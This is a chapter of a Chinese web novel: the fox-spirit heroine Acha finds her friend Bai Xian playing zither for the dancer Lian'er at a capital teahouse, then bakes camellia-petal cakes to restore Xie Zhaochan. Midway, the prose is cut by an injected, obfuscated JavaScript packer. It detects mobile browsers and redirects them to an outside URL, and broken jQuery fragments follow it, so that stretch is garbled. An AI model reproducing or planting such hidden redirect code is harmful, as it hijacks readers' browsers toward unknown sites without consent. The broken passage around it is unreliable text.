10. 内服

作品:《小妖一心只想升仙

    华灯初上,明月当空。繁华的尽头燃着一座铺满流光溢彩的高楼,人声鼎沸,人群熙攘。


    张菱和阿茶一路穿过大堂来到了二楼的一处落座,将大堂内的风光、圆环高台上妩媚动人的舞姬尽收眼底。


    玉京有三大酒楼,各有千秋,城北的清华酒楼是为榜首,楼内说书先生说的栩栩如生,仿若画面就浮现在眼前。


    最近也是玩出了新花样,捧出了一位名震玉京的舞姬——怜儿。


    张菱听说这怜儿的舞一绝倾城,玉京不少人挤破头也要去这清华酒楼,就赶紧让人定了一间雅间。


    “听说这位怜儿姑娘容貌只能算清秀,这舞却是独世无二。”


    阿茶探着头望向大堂,底下的人像成堆的蚂蚁般挤在一起。


    一道白衣身影在拐角一闪而过,撞进了阿茶眼里。


    她一瞬怔愣,再去看那拐角只有端着托盘的伙计身影穿梭。


    那道身影与白羡太过相似,阿茶一时间有些恍惚。


    不过白羡怎么可能在玉京,两年前他可是刚过雷劫之期,正是修养的时候。


    阿茶只当自己认错了人,没当回事。


    很快,大堂忽洒落片片花瓣,自高高的穹顶纷扬,无数双眼睛聚焦在那圆台上,紧接着一道蹁跹的身影悄然而至。


    乐声渐起,身影被那阵花瓣雨托着送来,身姿舞动,翩然起舞,如蝴蝶展翅轻盈飞舞。


    阿茶却无心这舞姿,反倒是被这乐声吸引住了。这是白羡的柳琴所奏。


    柳琴是白羡的本命法器,这琴声虽然隐藏起了其中所波动的灵力,听着与普通的琴一般,但她可是听了千年,太过熟悉这其中的一弦一乐。


    阿茶心头慌张与欢喜交缠,探头望去就见圆台后掩在纱帐后的模糊身影。


    阿茶锁定目标,随便找了个借口就走了出去。


    她刚走下楼,那边乐声渐消,怜儿谢幕退场。阿茶快步小跑过来,就在那乐师起身抱琴离开的瞬间,她一个箭步冲了过去,一把拉住了他的袖子。


    白羡奏完一首曲子,抱着琴起身刚准备离开,袖间传来一阵强烈的拉扯,他顺着望去就看到了许久不见踪影的阿茶。


    白羡满脸愕然,眸中惊喜万分,“阿茶!”


    阿茶也是难掩内心激动,攥紧了他的袖子,原本干净平整的袖边瞬间崎岖不整。


    “白羡....!”


    两人相逢之际,怜儿从台上走下,看到一个姑娘拉着白羡的袖子,两人似乎是老相识,白羡见她甚至走近了几分,神情难掩欢喜。


    那女子容颜秀美,衣着淡雅,眉眼清亮,像初春化冻的溪水,含着暖意与灵动。


    此刻她正眉眼含笑的看着白羡,远远望去,好像从旧画卷里走出来的—对璧人。


    怜儿自知才貌疏浅,如果不是因为白羡的教导与鼓励,自己如今也不会有这样的成就。


    原本想着等自己站的再高一些,就将心中的心意言明,哪怕他拒绝她,也好过独自一人日思夜想。


    可如今看来是没这个必要了。她还从来没见过白羡对哪个女子这般亲近,想必是他常挂在嘴边的那位意中人。


    怜儿眼中闪过一丝不易察觉的黯然,心中密密麻麻的酸涩涌了上来。


    她强压情绪提着裙摆朝两人相反的方向走去。


    白羡见到阿茶心头欣喜,与她寒暄几句,扭头去找快要下台的怜儿,想要告知一声自己有事情要处理,她一个人先回去。


    找了半天却发现怜儿不知道何时已经走了,想必是被酒楼的老板叫走了,等他这边结束再去找她。


    白羡领着阿茶来到一处安静无人的雅间里。


    “没想到虚空镜会把你送到玉京。”


    阿茶开心一笑,她也没想到会在这里遇到白羡。


    转而忽然想到白羡如今在这清华楼弹琴。


    满脸疑惑开口,“白羡,你为什么会在这里?还用你的法器柳琴给别人伴奏?”


    白羡似乎想到了什么,嘴角扯出一个弧度,眉眼间隐隐可见饱含的暖意,“我是为了一个人来的。”


    他顿了顿,补充道:“五年前,我历经雷劫,受了重伤昏迷,是一个小姑娘救了我给我治伤,她就是怜儿。为了报答她,我在雷劫之伤疗愈后再次返回那个村子想要找到她,只可惜.....”


    “可惜什么?”阿茶问他。


    白羡神色惆怅怀念,思绪飘着遥远的以前,“只可惜怜儿已经不在那里了,我一路打听才知道她在我走后不久,父母遭遇不测接连去世,她孤身一人去了玉京投奔她姑母去了。我就又赶到了玉京,正巧碰到她姑母为了银钱逼迫她嫁给一个屠夫,我看得出她的不愿,设计坏了这门亲事,教训了她姑母一家。”


    “怜儿身世凄苦,孤苦无依,想跟着我,可我一个妖怎么可能让她跟着,就拒绝了,没想到她竟然生了轻生的念头,投了河,我将她救了上来,之后便留在了人间,之后她为了生计来了酒楼,我不放心也跟着来了。”


    阿茶听完了然的点点头,可又觉得哪里不太对劲,柳琴是他的本命法器,是随便给人用来伴奏的?


    阿茶直截了当的问,“你不放心,施个法术跟着她就好,干嘛要自己亲自来酒楼,还用柳琴伴奏?”


    白羡也没瞒着她,又道,“怜儿一个姑娘家在这酒楼跳舞,我实在放心不下,就跟着来了。”


    听到这话,阿茶顿时哑口无声,这个不放心也太不放心了,竟然还用他的本命法器柳琴作伴奏。


    “阿茶!阿茶,你在里面吗?”


    门外忽然响起敲门声。是张菱见她许久没回来,就出来找她。


    询问了伙计才知道她被带到了这里,以为她出了什么事,赶紧追了过来。


    阿茶与白羡对视一眼,随后她起身开门,张菱敲门的动作还悬在半空。


    张菱跻身进入,握着她的手上下打量,见她没事,暗自松了一口气,“你怎么在这里?我找你半天都没见你,可吓坏我了。”


    阿茶见她神色焦急,才意识到自己出来的时间是有些久了,心中有些愧疚,“对不起,我遇到了一个朋友就来了这里,害你担心了。”


    “没事,没事,”张菱连声应道,看到站在一旁的白羡,扭头问她,“这就是你朋友?”


    阿茶小鸡啄米般点点头,随后介绍道,“嗯,他是白羡。”


    又指了指张菱对着白羡道,“白羡,这是张菱,我最近新认识的朋友。”


    白羡颔首微笑示意。


    张菱也对他点头回应,随即拉着阿茶就要走,“阿茶,时辰不早了,我们该走了。”


    “哦,好。”阿茶转头看着白羡,摆摆手,“那我就先走了,有空再来找你。”


    话音刚落,张菱就拉着她走了出去。


    张菱也是没想到出来看一次歌舞,阿茶竟然遇到了好友,两人在这屋里不知道呆了多久,孤男寡女,这看着怎么也不像是普通的好友关系。


    张菱忽然觉得有些对不住谢照禅了,出来一次还让谢照禅多了一个对手。


    两人回去的时候,张菱也没多问些什么。到了地方,阿茶与她挥手告别就走了进去。


    刚走进门,谢照禅的身影就在十步开外的地方站着,看着像是特意在这里等她。


    “你在这干嘛呢?”阿茶心头疑惑。


    谢照禅一时没回话,他朝前走了几步,定在距离她不远的地方,声音低哑,“你去哪了?”


    “我和张菱一起去清华楼了,”阿茶一脸无辜,“怎么了?”


    谢照禅视线定在她脸上,“没什么。”


    谢照禅下了值,受几位翰林院的大人邀请去了清华楼。几人在一处视野开阔的雅间将下面尽收眼底,阿茶与张菱一进来他就看到了。


    张菱是个爱凑热闹的,想必是她拉着阿茶一起来的。


    谢照禅待的地方比她们要高,他边应和几位大人,不自觉的就关注起阿茶那边的情况。


    见她在歌舞开始不久走出了雅间,又看到她与一个琴师拉拉扯扯,隔的太远看不清他的面容,但还是能从举止间的熟稔看得出两人应该是旧相识,且关系很亲近。


    那个男人的身影映在他眼中,极其碍眼。


    阿茶见他神色低迷,眉眼间隐隐可见的疲惫,眼前乌黑一片,以为他是这几日太过忙碌,没有他休息好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135940|196281||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    给他注入灵力已经没有太大的效果,阿茶正苦恼怎么缓解谢照禅的疲惫。


    她坐在厨房看着翠婶忙碌的身影来回穿梭,碟子里的糕点诱人鲜艳。


    “阿茶小姐,快尝尝这个,我新做的。”翠婶端来一碟糕点放在她面前,“最近正是桂花开放的时节,我就摘了一些做了这桂花糕。”


    桂花味的?阿茶眼睛一亮,拿起一块放进嘴里。


    淡淡的桂花味弥漫,却不甜不腻,反而是桂花味很浓,一股新奇的味道刺激着她。


    阿茶看中手里的桂花糕,抬头疑惑的问,“翠婶,这个桂花糕怎么不甜?”


    “这个啊,我没放糖,是用桂花本身的味道做的,怎么了?是不好吃吗?”翠婶搓搓手,一脸懊悔。


    阿茶摆摆手,“不是,不是,很好吃,桂花很香。”


    听到这,翠婶暗自松了一口气。


    阿茶盯着碟子里的糕点若有所思。


    她回到院里拽了一些山茶花瓣,放进竹篮里,拿着这些再次返回厨房。


    外调不行,那就内服。


    阿茶的花瓣在这块灵地源源不断的吸收天地灵气,日月精华,每片花瓣都是精华。


    阿茶拎着竹篮兴冲冲的说,“翠婶,你用这些也做一些糕点吧!”


    翠婶低头望去就见一整篮子的山茶花瓣,顿觉愕然。她刚来这宅子里,谢照禅就特意吩咐过他们,这棵山茶花树尤为珍贵,日常要小心对待。


    除了孟棠偶尔去修理一下,她和孟临几乎没去过那里。主人家对此十分重视,他们也不敢过多逾越。


    看着篮子里满满的山茶花,翠婶一时间不知道该如何反应,欲言又止最终也没说什么。按照她的吩咐,将这些花瓣清洗了一番准备做成糕点。


    “翠婶,不要放太多。”阿茶想到谢照禅上次说吃糕点牙疼,特意嘱咐道,“谢照禅吃不了太甜的。”


    他记得谢照禅说过自己不喜欢吃太甜的。


    “好。”翠婶回道。


    翠婶一通忙活,阿茶就在旁边递东西凑热闹,很快蒸屉打开,一股热气弥漫,淹没了两人的身影。


    精致小巧的山茶花糕一个个有序摆放在碟子里,看起来很是诱人。


    阿茶一块没尝,端着它们就走出了厨房,向谢照禅的院子里走去。


    “谢照禅,你在吗?”阿茶探头询问,也不等他回话,径直推门,“我进来了。”


    谢照禅迈步走出里屋,阿茶正把手里的糕点搁在了桌上,扭头就见他站在一旁,“谢照禅,快来,我有好东西要给你。”


    阿茶一脸兴奋的将他拉到了桌边,按着他的肩膀让他坐在椅子上。


    “快尝尝这个。”阿茶落座在另一边,推了推那碟糕点。


    “这是....?”谢照禅抬头看她。怎么突然想起来给他做糕点了,自上次他说过牙疼后就基本没在她面前碰过这些。


    “你尝尝就知道了!”


    阿茶没有明说,一脸神秘。


    谢照禅不疑有他,拿起一块放进嘴里,陌生又熟悉的味道让他一时间有些怔愣,这味道他似乎哪里闻到过。


    谢照禅怎么说也与她朝夕相伴两年多了,树上浓郁的花香,她身上萦绕的味道,他甚是熟悉,怎么可能猜不出。


    阿茶见他只咬了一口,满脸疑惑,“怎么了?不好吃吗?我知道你吃不了甜的,就没让翠婶放糖。这些花瓣日月精华吸收了不少,我见你最近神色疲惫,就想着用这些花瓣做一些糕点给你调理调理。”


    他说怎么感觉到了身体一股莫名的力量冲刷着他的四肢,让他的身体的疲惫缓解轻盈了不少。


    “不喜欢吃吗?”阿茶心头不解,她知道这些花瓣没有味道她特意在里面注入了一些伪装甜的法术,应该会在味觉上造成错觉,应该不难吃吧?


    谢照禅其实本就不太喜欢吃甜的,但看她眼神期待,自己也不愿意让她失望。


    阿茶见他喜欢,顿时喜笑颜开,手撑着下巴双眼亮晶晶的看着他,还贴心的给他倒了一杯水。


    谢照禅顶着她的目光吃完了糕点,身体不复刚才的沉重倦怠,蓦的轻盈舒畅了许多。